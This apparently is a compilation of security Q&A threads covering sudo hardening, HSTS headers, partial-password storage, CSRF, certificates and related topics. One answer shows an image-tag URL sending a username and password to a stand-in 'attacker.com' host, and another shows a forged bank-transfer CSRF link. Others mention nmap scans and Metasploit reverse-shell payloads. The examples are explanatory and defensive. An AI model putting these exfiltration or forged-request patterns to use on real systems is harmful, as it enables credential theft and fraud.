Best practices for hardening sudo? Every hardening guide I read recommends forbidding to login to root account and instead using sudo. I can understand this if you set a strict sudoers file which only enables the necessary commands for each group and user. But on every server I put my foot on, I have only witnessed a non restrictive sudo configuration. I would like to understand if it is a good practice or not and why (still, I understand the traceability reason)?

So here are my questions :

Is it enough to forbid su and allow sudo in order to keep the traceability of the administrator actions ? (I can imagine a scenario where a user does a lot of sudo actions before deleting his bash_history)
Is there another source beside .bash_history useful to keep traceability ? can such a file be updated by an administrator (with sudo) ?
Is it possible to restrict sudo -i and sudo -s in the configuration ?
Can sudo command have utility without a strong sudoers configuration ? If yes, which ones?

Moreover, for a single user, I see only advantages to forbid sudo and enable su. Indeed, Log on with root and normal user using the same password seems to be a bad practice.

Your question is rather broad, touching on several different subjects. It may be better to take some of the details and put them in a separate question.

Is it enough to forbid su and allow sudo in order to keep the traceability of the administrator actions?
... can sudo command have utility without a strong sudoer configuration ? which ones ?

Unrestricted sudo has a couple benefits over su.

Each sudoer can use his personal password. This way you do not have to re-distribute the root password if it is changed.

sudo can be configured to log activity. If your syslog configuration writes to a remote location, then it becomes difficult for someone to cover their tracks.

However, unrestricted root access is still 'unrestricted'.

If you do not use a remote syslog server then tracks can easily be covered.

For convenience, folks often will use sudo -s to get an interactive shell. This allows you to get bash autocomplete on restricted directories. Unfortunately, the syslog benefits are void if a person is allowed to run sudo -s. Also there are many alternatives to sudo -s that can allow commands to be run without specific logging.

(I can imagine a scenario where a user does a lot of sudo actions before deleting his bash_history)

bash_history is not to be used as a history trace tool. It is only for user convenience.

Is there another source beside .bash_history useful to keep traceability? can such a file be updated by an administrator (with sudo)?

Any files on the server can be updated by a person with unrestricted root access. (whether via sudo or su)
How to trace the activity of a root user may be the subject of a different question. I believe advanced configurations of SELinux can do this, but it is probably not practical. I don't know of any other way to trace activity of a root user.
As I said if you have any logging that will have to be written to a remote log server to keep those from being erased by the attacker.

is it possible to restrict sudo -i and sudo -s in the configuration ?

To answer you verbatim, this may be possible, but is beyond the scope of this post. Consider creating a new question.
However, this will not solve your problem. For example, one could use sudo su instead of sudo -s. One could use sudo sudoers, or update the crontab, etc.
The only way to solve this is to 'restrict' the sudo abilities using a whitelist. As you said, this is not nearly as common, but is certainly the only way to accomplish the goal of reliable traceability with any level of detail.
Hope this helps. Feel free to ask for clarification on my answer, or post a more specific question if you have new questions based on what you learned so far.


Does Dropbox offer any protection against infected files? Does Dropbox offer any protection against sharing files which are infected?
To give more info, my friends and I are currently working on a college project. We find it much more convenient using Dropbox to discuss and keep in touch. Is it possible to get infected if one of my colleagues accidentally shared an infected Word Document file on dropbox?

Yes, it is possible. Just as you could get infected if one of your colleagues shared and infected Word Document file by email or a usb flash drive.

(I am assuming that you are also triggering the payload by opening the infected document, executing the program, etc. A virus file residing in your hard drive won't infect you by its mere existence.)

Dropbox doesn't scan your files with an antivirus, as stated in https://www.dropbox.com/help/8406. But even if it did, it would still be possible to get infected by a virus not detected by its solution.

You should take the normal protection measures, such as running an up-to-date antivirus in your computer. But there's no reason to stop using Dropbox just for fear of virus. The risk -if they happen to get infected- is in sharing the files with your colleagues. And I assume that's something you want (need) to do ;)

PS: The only difference would be that using Dropbox may make you receive the infected file faster. But on the other hand Dropbox history feature would also allow you to recover a pre-infection version of the files, which might not be available otherwise.


Best practice for informing a website they've been compromised? I've received a spam email that claims to be invoicing me for some service in New Jersey, USA with whom I've not had any dealings. The email includes a link to a zip file that is hosted on a greek restaurant website in the Netherlands.

This, to my mind is a compromised website who are most likely unaware of their situation.

Should I inform them? or their webhost? and if so what is advised?

Look up their DNS record with whois, and contact their listed admin. Also, contact their hosting provider.


Eavesdropping vs. sniffing I'm taking a coursera course, and they take pains when talking about network security to distinguish between eavesdropping and sniffing.

According to their definitions, sniffing involves reading or monitoring whole packets, whereas eavesdropping seems like it differs mostly by:

finding incomplete packets rather than complete ones, and
using Ettercap in addition to technologies like tcpdump and and wireshark.

Are these definitions standard? I'm not finding a lot of convergence elsewhere on the internet about these terms.

Both are same kind of attacks. The difference is Eavesdropping could be in any form (Physical to logical), where the sniffing is more electronics/network related term.


Would Insecure Direct References and SQL Injection be solved by using Row-Level Security and Per-User Connection Strings? Regarding the following OWASP Vulnerabilities:

Insecure Direct Object References. By that I mean letting someone see /account/123/not-theirs (this could be the wrong reference I'm using above).
SQL Injection.

Can these be solved by using a database that supports Row Level Security and by creating real user accounts in the database for each user and having them login to the database as themselves (via the web server)?

Any issues in this approach to be aware of (other than it killing connection pooling)?

EDIT:

One obviously needs some sort of record access control. How is moving record access control from the web layer to the database layer worse, when it's more centralized? (Databases tend to live longer than applications, and databases sometimes have more than one application.)

User authentication (storage) happens in a different system.

Users are not be superusers and would have the minimum required privileges (by that I mean they can't run command shells in SQL or other silliness).

Users would not have direct db access, only access through a web application.

Would use hierarchical roles.

Would still use parameterized queries, however not all queries are parameterizable, developers make mistakes, and systems like Wordpress have shown that plugins can get you.

Not effectively, no. You're always going to have cases where row-level security can't properly emulate the business processes. You'd also need to have a lot of "general purpose" accounts for things like user signup. The whole thing would be convoluted, difficult to maintain, and largely ineffective.

Keep in mind, also, that SQL injection potentially does not only affect the data, but also the database. Special commands (like xp_cmdshell in TSQL, debug segfault in Redis) have all sorts of secondary impacts outside that of row data.

Regardless, SQL injection is largely a solved problem, so it's really not worth creating inferior solutions that are much more complex and costly.


Zenmap: Can't get hostnames for clients just IP addresses I have run both a quick and intense scan on my network with Zenmap and I can't get the hostnames of the clients. If I do an ARP scan I get some hostnames and if I use Fing app on my iPhone, I can see even more.

What can possibly cause that?

Without knowing what command you have used for the scanning, it is not possible to tell you why they hostname didn't come up. While running a scan in Zenmap you can see the command it is executing.

Try running this command in Nmap or in Zenmap

nmap -sL 192.168.1.1/24

This command will give you the hostnames. The -sL flag tells nmap to do a simple DNS query for the specified range of ip. This allows you to find hostnames for all of the ip's without having sent a packet to the individual hosts themselves.

nmap -sn 192.168.1.1/24

You can use this command to scan every client in the range using the wildcard. This will give you the hostnames along with their IP addresses, and only pings the hosts to discover them.


Can an isp see what you search on google images I was under the impression all images were https. Not really a computer person. So I don’t really understand how this works.  I was also under the impression that isps can see all images and searches despite having https. Wouldn’t that be beneficial in some cases? I get nervous searching health info as I know google and isps can sell your info

I was under the impression all images were https.

This is not true. While the images shown in the Google Images Search are served by Google using https they can refer to images which are plain http, i.e. once you click the link you get the image as plain http.

  I was also under the impression that isps can see all images and searches despite having https.

This is not true either. Unless SSL interception is done (which needs changes to your computer in order to be not cause warnings or errors) the ISP can see what sites you visit but not the exact content of the request or response, like which search terms and which results.

  I get nervous searching health info as I know google and isps can sell your info

Google can definitely see your search terms given since otherwise they could not provide you with the results of your search.

ISPs can as I said not see the exact searches but they can detect the sites you visit and at which time and order. This is often enough to create interesting personal profiles which they could sell if there is no law or legal terms to forbid this. And even if laws prevent selling such information, the ISP might have its own advertisement business (like Google does) or even their own insurance business and might use these information there without selling it to third parties.


Block Pop Up window using Javascript code When a user enters his credentials in the login form of a web application, the credentials can be hacked through a malicious extension (that the user has installed). Now, suppose the malicious extension wants to pass the hacked credentials to the attacker's server, it is prevented through the Same-origin policy of the web. However, another way of passing the credentials to the attacker's server is through a pop up window where the captured details can be parsed in the URL and passed to the attacker's server. The window can be closed immediately. Even though the possibility of such an attack is very minimal and can be easily seen by the user, it cannot be denied that it is not impossible. On an average, it just takes 1.5 seconds to open and close a pop up where the credentials can be passed to the attacker. And if suppose the pop up window is very small and is configured to launch at a side of the screen, the user will be having no idea about this attack at all.

But, if the web pages had a method to prevent the pop ups from appearing, this attack can be prevented. So, I would like to know whether there are possibilities to block the Pop-Ups from appearing using Javascript.

No, it is not possible to prevent popups from within Javascript.

  Now, suppose the malicious extension wants to pass the hacked credentials to the attacker's server, it is prevented through the Same-origin policy of the web.

This is not correct. Sending data cross-origin is always possible. For example, you can put an image tag on the page with Javascript that has an URL like http://attacker.com/?username=foo&password=hunter2.

In general, browser extensions have more permissions and privileges than Javascript running on a page, so there is not much you can do from the page to protect against malicious extensions.


LUKS overwrite empty disk space question I have a question about LUKS and the overwrite empty disk space option. I know what it does, and why people use it but I have a question about it. Forgive me if this question is dumb, it's just something that popped in my head at what point and thought I'd ask. When you check this option, does it overwrite the empty disk space just once at the installation process? Or does it perform this procedure everytime you boot up and shut down your computer?

This option isn't part of LUKS itself, it sounds like it's part of whatever installer you're using. It would happen just once when installing in order to delete any data on the disk to make sure none of the old data could be recovered.


Single button click mobile direct carrier billing fraud A friend of mine had just had the following happen:

He visited a website with the mobile phone using Chrome Mobile on Android
An advertisment poped up that covered the whole page
There was no close button, and while scrolling the ad, he might have clicked a button
Immediately afterwards, he received an SMS from droidboost that he will be charged 4,99€ for an abo of droidboost.

Notice how there's only a single user interaction there, clicking the button.
(Reportedly, he only scrolled, but I can't eleminate the possibility that he might have accidently clicked a button as well, since accidently taping on the touchscreen can happen easily)

My question is now, how can this be possible? Is it possible for a website to send an SMS or access the mobile phone number of the phone visiting this website, using JavaScript or similar? I would have thought that such an action was not possible through a mobile web brower.

I have already checked with http://headers.cloxy.net that the mobile device is not sending its phone number in the request headers either.

It's called HTTP header enrichment. The MSISDN (mobile phone number) is injected in the header once the user hits a whitelisted URL by the operator. Not visible through http://headers.cloxy.net.

The surprise payment was made through something called clickjacking (google it for more info).

Basically your friend needs to complain to operator's customer support and the operator will do a chargeback (refund), Your friend might still be able to access the "Droidboost" service for a short while.

For some reason I guess that you're from Germany, so Vodafone, T-mobile, E+, O2 (whatever operator/carrier) will also probably ban the customer having access to their payment APIs. Hopefully they'll also impose a ban on where some the companies using their payment APIs are "buying traffic", ieg Google adwords.

@André Borie Jan 1 at 13:20
 -  The problem isn't the actual billing method, the problem is obviously which companies and services the operator grants access to their payment APIs. Previously the billing method was used by junk companies in the porn, ringtone and wallpaper genre. Now Google, Microsoft, Apple, Amazon, Spotify, Sony, LG, Samsung and more are rolling out global coverage in carrier/operator payment channels.


IT department says our windows 10 server is 100% going to be hacked because of port-forwarding my software We have a local virtual windows 10 server hosting some custom software. This VM is only hosting this service and nothing else. This software is made of:

An ASP.Net core web app, public API, only returns data, never writes
Custom UDP communication server (with its own reliable implementation), does some CRUD operations but only after authentication is certified
FTP server configured a usual, port 21 for authentication, 20 for data transfer. Does only allow file transfer within a given folder and only to users authenticated with the correct email/password.

We want to host this service to the outside world so our customers can use our platform. When I asked the network manager to allow these connections to this specific VM, he said it is very dangerous and that there is a 100% chance that we will get hacked.

I'm wondering if he is right. In my knowledge, it is very unlikely that someone might be able to penetrate my custom software and get something useful out of it, let alone cause any harm with it.

The only weak spot I might come up with is our FTP service, which could be "hacked" and the intruder could potentially transfer malicious files to this certain folder. I could upgrade to SFTP but I'm not very familiar with this service and have no idea if it's a major improvement.

Are there any major security leaks with this setup if we port forward it? Are we, as he states, 100% going to be hacked?

Edit

The UDP Server is used for fast real-time communication. It has an internal state that is shared among all clients but that's view data only. the UDP Server itself does not execute CRUD directly, but talks to a separate layer that implements all logic which then speaks to the database layer.

This logic layer does check for authentication on the server-side, if the host is not authenticated, crucial CRUD operations are not permitted. The authentication is based on a salted hashed password which grants a session token for a limited duration (30min). This connection is not encrypted, but I have not enough knowledge of knowing why it should. This is the part where I doubt myself.

This application is not going to be used by a lot of people. I doubt it would fall into the hands of anyone who knows how to break this. But I just want to be sure.

We have a local virtual windows 10 server hosting some custom software.

Windows 10 might not be a good choice for hosting an Internet service, performance and security wise.

  Custom UDP communication server (with its own reliable implementation)

Peer reviewed and pen-tested? Shouldn't be called reliable otherwise.

  FTP server configured a usual

FTP needs to be secured with TLS, by itself it's insecure.

  When I asked the network manager to allow these connections to this specific VM, he said it is very dangerous and that there is a 100% chance that we will get hacked.

He's likely correct unless your service was specifically hardened for Internet use. Any service available from the Internet will be attacked and when there's a security problem it will be found, sooner or later.

  In my knowledge, it is very unlikely that someone might be able to penetrate my custom software

Based on what premise?

  and get something useful out of it, let alone cause any harm with it.

It's quite enough to pass a not fully filtered parameter as SQL query, for instance, to allow SQL injection. That opens the door to steal your data or manipulate it, including user passwords.

  The only weak spot I might come up with is our FTP service, which could be "hacked" and the intruder could potentially transfer malicious files to this certain folder.

Unless authentication is encrypted, it'd be easy to intercept user credentials, allowing impersonation.

  I could upgrade to SFTP but I'm not very familiar with this service and have no idea if it's a major improvement.

SFTP uses mandatory encryption and is generally accepted as being more advanced and reliable.

  Are there any major security leaks with this setup if we port forward it?

We can't really tell unless your code is properly reviewed and tested.

  The authentication is based on a salted hashed password which grants a session token for a limited duration (30min). This connection is not encrypted, but I have not enough knowledge of knowing why it should.

Again, we don't really have enough information to comment. Generally, you should be sure that everything's tight.

  This application is not going to be used by a lot of people. I doubt it would fall into the hands of anyone who knows how to break this. But I just want to be sure.

If it can be reached from the Internet it's going to be attacked.


JWT in localStorage with encrypted sessionId What I want:

Store a JWT in localStorage. The JWT contains claims about authorization.
Prevent the JWT from being stolen and used by an attacker (using XSS)
Avoid CSRF

Storing the JWT in localStorage is bad since exploiting XSS would lead to a stolen JWT, which an attacker could use for authorization.

Storing JWT in http only cookie is bad since it doesn't have enough space for the claims.

A possible solution is to:

Create a http only cookie with a sessionId
Store JWT in localStorage with the same sessionId encrypted inside
On the server, verify that the sessionId in the JWT and the cookie matches before using the claims.

This way the JWT can be stolen, but cannot be used unless the attacker also has the sessionId from the cookie. Also, CSRF is not possible since a cookie is not enough for authorization.

Are there any flaws with my reasoning? Are there any easier ways to accomplish the same thing?

A http-only cookie is strong given that clientside JS cannot read it. Your solution seems pretty sound. Only recommendation I would make is to use a client side framework that offers XSS protection, like ReactJS. Or sanitize all HTML string inputs. You could also add a short expiration time length to your JWTs. Sorry, I would make this a comment but don't have enough rep.


Can wifi network administrators see if you are using a proxy? A friend of mine wants to use a Proxy on his home computer because his parents have blocked many games and social media services. My question is, if he is using a Proxy, will his parents be able to see that he is using a Proxy?

If your friend is using a proxy, all the requests will look as requests towards the IP of the proxy. Depending on your friend's parents' knowledge of networks, they might find that as a suspicious behavior. In normal cases where the average parents don't know much about proxies, there should not be any problem.


SSL Cert for sub.domain.com and www.sub.domain.com I have a wildcard cert issued by godaddy for *.domain.com.

currently,  https://sub.domain.com  works just fine.  however, https://www.sub.domain.com  does not work. Do I need a separate cert for each?

the error i see in browser when i goto https://www.sub.domain.com is:

The identity of this website has not been verified.
 • Server's certificate does not match the URL.

A wildcard certificate is a public key certificate which can be used with multiple subdomains of a domain. Depending on the number of subdomains an advantage could be that it saves money and also could be more convenient.

Note: But Only a single level of subdomain matching is supported

The workaround could be to add every virtual host name in the Subject Alternative Name (SAN) extension, the major problem being that the certificate needs to be reissued whenever a new virtual server is added.

Because the wildcard only covers one level of subdomains (the asterisk doesn't match full stops), these domains would not be valid for the certificate: xxx.sub.domain.com


Is there a problem with issuing a HSTS header in PHP? I want to trial a HSTS policy on my blog without enabling it site wide initially. As a HSTS policy is just a HTTP response header would there be any problem with sending the header in PHP like so:

header("strict-transport-security: max-age=600");

The site will redirect any http:// request to https:// and I realise that this will likely result in the HSTS header being sent over http:// which it shouldn't. However, to be HSTS compliant a user agent should disregard HSTS policy delivered via http:// as it could have been maliciously injected. As this is only for testing purposes I'm not overly concerned anyway.

This will allow me to issue the header on a specific page only and expose it only to myself without affecting any other users. I could also have another page to disable the HSTS policy like so:

header("strict-transport-security: max-age=0");

Should this prove to be successful are there any issues that can be seen with issuing HSTS policy in such a way? Perhaps users on shared hosting or without access/knowledge to configure a response header could still implement HSTS in this way.

HSTS is enabled by returning the strict-transport-security header from a HTTPS response - the browser does not care whether this is set in PHP, by the server, or by a load balancer - as long as it receives a valid header over HTTPS then HSTS will be enabled.

You should be OK only returning this header from a single page for testing too. RFC 6797 states

  If a UA receives HTTP responses from a Known HSTS Host over a secure
     channel but the responses are missing the STS header field, the UA
     MUST continue to treat the host as a Known HSTS Host until the
     max-age value for the knowledge of that Known HSTS Host is reached.

so your other responses without the header will not cancel HSTS for your site.

Setting max-age=0 is also the correct way to cancel HSTS for your site (per receiving user agent). The only thing I've spotted which is non-standard the way you are doing is that you are sending the header over HTTP also - although this would be ignored by a compliant user agent it is invalid so I would make sure to only transmit this when the connection is secure (best to stick to standards as close as possible I find).

You can check whether to emit the header with the following code that will check that the page has been accessed via HTTPS:

<?php
function isSSL(){

    if($_SERVER['https'] == 1) /* Apache */ {
        return TRUE;
    } elseif ($_SERVER['https'] == 'on') /* IIS */ {
        return TRUE;
    } elseif ($_SERVER['SERVER_PORT'] == 443) /* others */ {
        return TRUE;
    } else {
        return FALSE; /* just using http */
    }

}
?>


Random connections to meterpreter reverse tcp listener I am currently learning some basic penetration testing using Metasploit. I have set up a reverse tcp meterpreter payload that I run on an Amazon EC2 Windows instance. Sometimes while moving a new payload the machine, the listener that I have set up in Metasploit will be connected to and successfully send a payload, resulting in an open meterpreter session on somebody's computer. It has happened twice so far with connections from India and Russia. The sessions close automatically after 30-60 seconds (Reason: Died).

I figured that random connections would occur due to port-scans and whatnot, but these connections have actually downloaded and run meterpreter.

1) Why is this happening?
2a) Is there a way to use Metasploit to prevent this? (I don't want to be slammed for "hacking" some guy in Russia)
2b) If not, is iptables the best method?

Sorry if these are basic questions!
Thanks!

I ran into this a few years ago while showing a coworker how to use SET.

Basically you have your listener open and they'll see it in port scans. I was seeing shellcode too being sent over in the console as well, which was hilarious. Basically what you have is a ghetto honeypot.


Site allows both Partial and Complete password authentication; do they have my password in plain text? My bank provides online banking facility like most of the banks these days. On the web they have Partial Password Authentication. Although I don't really believe in PPA providing extra security but that could be wrong.

My Alarm bells started ringing when today I downloaded their mobile banking application for my smartphone. That app asks for my complete password.

Assuming the password is encrypted or hashed how does it allow both PPA and full password authentication?

Are my fears correct that they have possibly stored my password in plain text? In that case I will raise a complaint with their IT department and disable my account for now because everyone here knows much more than me how insecure would that be.

Edit:

Could they be storing each character of my password encrypted individually? That would then allow PPA and complete password authentication by comparing the available characters with their own encrypted versions. Is that a safe way of storing passwords for PPA?

In order to support "partial passwords", the bank must necessarily store either the plaintext password, or at least some values that would allow fast reconstruction of the complete password. It is easily seen in the following way: when the bank asks for, say, the 3rd, 4th and 8th letters of the password, then there are less than one million possibilities (assuming that the "letters" are printable characters). Yet the bank can somehow decide whether the three provided letters are the right ones or not. Therefore, whatever the bank stores is sufficient to run a brute force attack on the 3rd, 4th and 8th letters, and that attack will succeed in less than a million tries.

The bank may add layers of encryption and hashing and whatsnot, this won't change that raw fact. Whenever there is support for "partial passwords", then there is very sensitive storage on the server side. In that sense, support for partial passwords decreases security, instead of increasing it. (It can be argued that partial passwords increase security on the client side: shoulder surfers gain only a partial view of the password. Yet you must be aware that this is a trade-off: more client-side security for less server-side security.)

To support full-password authentication, the bank must store something which is sufficient to verify a full password. The same reasoning as above applies, but for a brute force attack on the complete password, not on a partial password. If a bank supports both "partial passwords" and "full password" authentications, then it probably stores one of the following:

The full password in a "recoverable" format (plaintext, or encrypted with a key that the server knows -- that encryption being protection mostly against casual attackers on the bank side, e.g. underpaid interns).
A hash of the full password and hashes for all password subsets that the bank may ask to the connecting user.

The second possibility requires a lot more storage and implementation complexity on the bank side, so I deem it improbable. Developers of bank applications are no less lazy than their fellow humans.

Take note that your password is not your most sensitive asset entrusted to the bank. The bank holds your money. And the money is what the attackers are after. If an attacker completely hijacks the authentication server, he won't limit himself to grabbing encrypted or hashed passwords; he will immediately fake some successful authentication and trigger transfers. Who needs a key for a door when he is already inside ?

Discussions about encrypted or hashed passwords are relevant for partial breaches, e.g. when the attacker finds a backup tape for a database, or obtains a read-only view through some SQL injection attack. In that sort of scenario, what can be done by an attacker depends a lot on the subtle details of how things are implemented in the server, so it is hard to talk in all generality.


Laws on Programming Security Tools I am currently working on some POST GATHER modules for the Metasploit Framework the idea is that after a shell is spawned on the target, it will gather certain files from the target such as chat logs.

I am confused to whether this is illegal or not as there are hundreds of modules like this, however there is no ethical use for it other than for educational purposes or in a penetration test.

An example is this module here http://www.metasploit.com/modules/post/multi/gather/firefox_creds

*EDIT* My question is related only to development of a tool, not using it.

You gain unauthorized shell access, and THEN you wonder if gathering chat logs is legal? :) I guess I'm not sure what you are asking. You should already have permission to attempt to breach a computer before you even fire up Metasploit, so legality is determined long before your post modules.

From a penetration test perspective, if the client is looking for certain files or proofs from a host, then those file target are within scope. If the files you are scooping up contain clues that help you penetrate further, then they could also be in scope (as long as not specifically out-of-scope).


Implementing secure login for an API I am implementing a web api with which I plan to authorize access by accepting a username and password and system name and returning a sessionid which can be used on subsequent calls to authorize the caller.

The api is only available though SSL 3.0 or TLS 1.0.

What are the main attacks which would be possible in this scenario?

The answer and comments to this SO question seem to indicate that if the risk of attack is proportionally low, more complexity will not improve security but will add complexity.
I would like to know the highest risk areas for attack to determine the appropriate counter-measures, if necessary.

This is a very broad question that can't be answered with anything near sufficiency on Stack Overflow.  You really need to read a book to understand all of this.  I highly recommend the Web Application Hacker's Handbook.  It is an interesting and informative read.

Broadly speaking, you need to worry about people stealing or guessing the session ID.  There are many different ways to do that.  Make sure you are protected against XSS, CSRF, and that you are generating session IDs with sufficient entropy and randomness.  Don't fall into the trap of using the current time value either.  Those are surprisingly quite predictable.


Is this a true CSRF attack? I have been fixing a asp.net web forms application that has a number of vulnerabilities that were discovered by an outside pen testing firm.

I have recently implemented a double submit cookie with the asp.net AntiForgery library. Also setting ViewStateUserKey to use the sessionId.

The pen testers provided a POC CSRF script within an html page. It attempts to upload a file to the website. When I try to use it it does not succeed and invalid viewstate errors are logged on the web server.

I discovered that the pen testers are using a valid login to create the POC script but then they use the same login as the target victim.

Is the POC script not meant to be created from another valid login? Isn't that cheating by using the same login to create the attack script as well as the victim?

Yes, it is a true CSRF attack.

Keep in mind, a CSRF attack is designed to happen with an external forged link sent to somebody that's already logged in, to make them do an action in their session they didn't intend to do.

Classic example would be your banking website, you would be logged in, and somebody would send you an external email with a forged link.

So you receive that forged link in your email, you click on the link, it opens a new tab in your browser, assuming you're already logged in, and the command in the URL gets executed right in your bank's current session.

For example the way to transfer funds via a GET query could be something like: https://mybankingwebsite.com/transfer/500/to/attacker-bank-account

So now anybody that is using your bank, and that's logged in, and clicks on that link, will be sending 500$ to the attacker-bank-account. But it wasn't you that wanted to do that command, the link came from somewhere else, but it gets executed in your logged in bank account context. That's a CSRF.

Facebook used to be vulnerable to CSRF attacks as well, and a lot of other sites. For example, a forged link in Facebook could result in you posting something on your wall that you never intended to.


If a smart card has multiple certificates on it how do go about choosing the appropriate one? Consider a scenario where you are doing mutual TLS and you have to use a smart card to authenticate. The card has certificate and private key. How would you go about choosing which cert to use in a given connection? What would you ask the user to choose which appropriate key & cert?

As I understand it, the server can influence the selection of client certificate in 2 ways:

It can specify the acceptable CA's that signed the client certificate
It can specify the acceptable types of certificate ciphers

If the client has multiple suitable certificates, they will be presented with the selection dialogue.

This should be true no matter where the certificates are stored, not just on a smart card. Of course, with a card, it is possible that you might be using a client app rather than just a web browser and in that case, it would be up to the app to help clarify the purpose of each certificate and can call on data in the available certificates to assist.

With the UK's NHS smart card for example, several certificates may be present. Each one represents a clinicians role in a specific organisation and the "Identity Agent" client software presents the list in a human readable way.

This is not possible in a browser situation.


Why are ‘unsecure networks’ still a thing in the age of HTTPS? We have robust cryptosystems that are pretty good at ensuring privacy and integrity of messages, and we have widespread communications protocols to implement them. Nowadays, virtually any serious website uses HTTPS, at least for authentication or sensitive parts. Google, Facebook, Amazon, Apple, Microsoft and so on all use HTTPS. For most people, that will be 95%+ of the websites they commonly use.

Therefore I don’t really get the point of all the public awareness campaigns about ’unsecure networks’. In fact, I don’t understand why there are unsecure networks in 2017 at all. Wasn't HTTPS specifically designed for this reason? Who cares about MitM attacks, if the man in the middle only reads a bunch of random ciphertext? Why should I worry about accessing my Gmail account from an airport or a fastfood? Isn’t every single bit RSA-encrypted from my computer to the datacenter anyway?

Sure, everyone may know that someone used Gmail, but as long as they don’t get any more information I’m fine with that. I know you can find extreme exemples where you need to encrypt the whole stuff and to hide even the very fact that you went to this website, to hide the very fact that you used this network, etc... But in this case you will be at home with a VPN and strong stuff, not in the nearest KFC with your smartphone connected to their free WiFi network. When we say free wifi we think of messaging apps, e-mail, checking facts with Google searches, Facebook, YouTube, etc. And this is pretty safe most of the time.

Some websites still use HTTP, but if you’re sending credit card details or top-secret communications over HTTP you have a problem anyway, even if you do it at home. And most HTTP websites are just a static webpages presenting a restaurant menu, an event, etc. so hardly sensitive stuff.

Therefore, why are we warned so severely about the security of the networks we use? Why is it still a bad practice to use public WiFi, for instance?

You are confusing HTTPS with network security. And, in the more general sense, encryption with security. Encryption only deals with confidentiality and integrity. Availability is usually recognised as part of the Security domain(1).

Not all network traffic is HTTP or HTTPS. Even HTTPS (usually) depends on:

DNS - which has no inbuilt protection (2)
Wetware compliance

There are still a lot of other protocols in common usage where use of encryption is not available / optional / hidden.

You also only consider your TOE as the client. Even if the TOE is only a browser, the days when this exclusively acted as a client are numbered. Certainly the client host will already be running many services which may be accessible from the network - and the "trusted" network should be one which provides some control over the access to these services. It is worth noting that where more resource is devoted to securing the network, this is often coincident with exposing more of the internals of the potential target devices by management and security services.

  but as long as they don’t get any more information I’m fine with that

A lot of AshleyMadison's customers were not fine with their use of the site being made public; we cannot tell you what level of security you require.

  And most HTTP websites...so hardly sensitive stuff.

An SSL stripping attack needs to start on a non-SSL page

The internet, and computer security is not bounded by your personal experience / knowledge.

1) Really "security" is a rather abstract collection of a lot of the elements of providing a service. ITIL, for example, at the highest level separates the utility of a service into Performance, Capacity, Functionality, Security and Availability (i.e. treating availability as a separate entity).

2) There is an alternative protocol - secureDNS - which has some protection


How to store the access token / password reset token in the database? I have an access code that is sent to users so that they can access the site in one-click. From terms of access it's very similar to the password reset url, so I assume the same assumptions apply.

E.g. in this question people suggest to hash this type of token which sounds reasonable, but the problem is: if I use bcrypt, how do I store it so that I can query it back or ensure uniqueness during generation? I don't see any way apart from checking each and every token in the database.

Does that mean bcrypt cannot be used for that purpose or I am missing something?

Since you know that your plaintext tokens are unique (or at least this is a logical inference) you don't need a salt. The salt's intention is solely to provide hash-uniqueness in the case of identical passwords, but since your input space is intended to be guaranteed unique, you don't have this problem.

Additionally, since you have control over the randomness and size of the plaintexts, you don't need to worry about weaker passwords being cracked through traditional means, so bcrypt isn't really necessary to slow down the process. If your input space is large and random, you can just hash it with a strong cryptographic hash (e.g. SHA256) with no salt. This allows you to simply check if H(token) is in the database when generating a new token (uniqueness check).

The process for validating a reset request is then quite simple: take the user ID and the plaintext token (as supplied in the reset link) and check that they match up in the database by computing H(token) again.

Alternatively, if you still want to use bcrypt, you could ensure uniqueness by prepending the random token with the user ID before putting it through bcrypt. This doesn't require you to verify uniqueness (it will always be unique due to the ID prefix) and still allows you to verify the token just fine.


Find changes and modifications made to system by application or virus, I would like to use either Hyper-V or Vmware to take a Clean Base snapshot and a snapshot after an application or virus has made changes so I can then see what was changed between the two images.

VMware ThinApp is the closest thing I can find to this as it shows what was modified between the 2 images as it is trying to create a Virtualized Application. I am not interested in making an virtualized application, I have been using the power of the application to determine other items but would like to know if there are better programs and tools for this type of work.

I do know that some virus can detect being ran inside a VM and will not execute.

Just a quick hint, you can always use a hardware machine and make a binary copy of the hard drive. Both copies will need to be compared. You can do this by running a checksum. Just be sure nothing is run from the hard drive.

I think backtrack has a nice toolset to do such analysis. You can find them under digital forensics.


cross-signed end-entity certificates: usage in apache/openssl/gnutls A previous question, What is the use of cross signing certificates in X.509? described cross-signed certificates well.

I have a situation where the clients trust CA1 xor CA2, and both need to reach a single service. Logically, this means I need two end-entity certificates for the same hostname. From a single SSL key, I generated a single CSR and submitted to both CAs, and gotten the two separate end-entity certificates.

I configured Apache to serve both certificates together and all relevant intermediates in the chain.

What's gotten me stumped is the ability to get Apache mod_ssl crashes hard with [Tue Nov 25 15:28:35 2014] [error] Init: Multiple RSA server certificates not allowed'

OpenSSL's s_server reads multiple -cert, -dcert arguments, takes the first RSA certificate in the last argument.

Using GnuTLS either via mod_gnutls or directly, either takes just the last certificate or claims The provided X.509 certificate list is not sorted (in subject to issuer order)

I think, reading RFC4158, what I'm trying to do should be valid. Where have I gone wrong? Why does cross-signing only seem to be valid among intermediate and root certificates?

There is no way ahead of time to differentiate between the clients, so I can't cheat and run different vhosts on different IPs (the clients share DNS). I don't have control over getting both CAs into the clients either. The only working work-around I have so far is to push each group of clients to a unique hostname out-of-band.

openssl s_server -cert -dcert is only useful if the certs (and matching keys -key -dkey) are different algorithms. Then it will use e.g. the RSA key&cert for plain-RSA or DHE-RSA key exchange but the DSS key&cert for DHE-DSS. And similarly for ECDSA and ECDHE-ECDSA now that ECC is supported (since 1.0.0 except for RedHat).

Apache appears to be the same. http://httpd.apache.org/docs/2.4/mod/mod_ssl.html#sslcertificatefile says

  This directive can be used multiple times (referencing different filenames) to support multiple algorithms for server authentication - typically RSA, DSA, and ECC. ...

and #sslcertificatekeyfile says

  The directive can be used multiple times (referencing different filenames) to support multiple algorithms for server authentication. For each SSLCertificateKeyFile directive, there must be a matching SSLCertificateFile directive.

This would only help if you can get your clients to enable/disable different keyexchanges based on which CA they want you to use, which is probably harder and more confusing than using different hostnames.

There actually is a standard extension defined for TLS1.0 by 3546 TLS1.1 by 4366 TLS1.2 by 6066 for the client to identify which CAs it trusts, and would like the server to use. But most extensions are optional and as far as I have seen no browser (or client at all) implements this one.


Preventing User Enumeration on Registration Page You have a website that users log into, and you want to prevent user enumeration.

On the login page and the forgotten password page, this can be achieved by careful choice of user messages, but what about the new user registration page? You want to ensure that creating an account for an existing user is impossible, but this tells an attacker that the account already exists, allowing enumeration.

What mechanisms can be used to prevent user enumeration on new user registration?

